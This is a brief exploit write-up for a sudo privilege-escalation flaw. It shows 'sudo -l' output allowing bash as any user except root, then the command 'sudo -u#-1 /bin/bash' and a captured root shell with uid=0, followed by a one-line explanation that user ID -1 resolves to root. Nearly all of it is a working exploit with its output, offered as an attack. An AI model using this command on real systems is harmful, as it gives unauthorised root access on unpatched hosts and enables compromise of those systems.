sudo -l
# User hacker may run the following commands on kali:
# (ALL, !root) /bin/bash
# Exploit
sudo -u#-1 /bin/bash
# root@kali:/home/hacker# id
# uid=0(root) gid=1000(hacker) groups=1000(hacker)
# root@kali:/home/hacker#
# Description:
# Sudo doesn't check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv
# -u#-1 returns as 0 which is root's id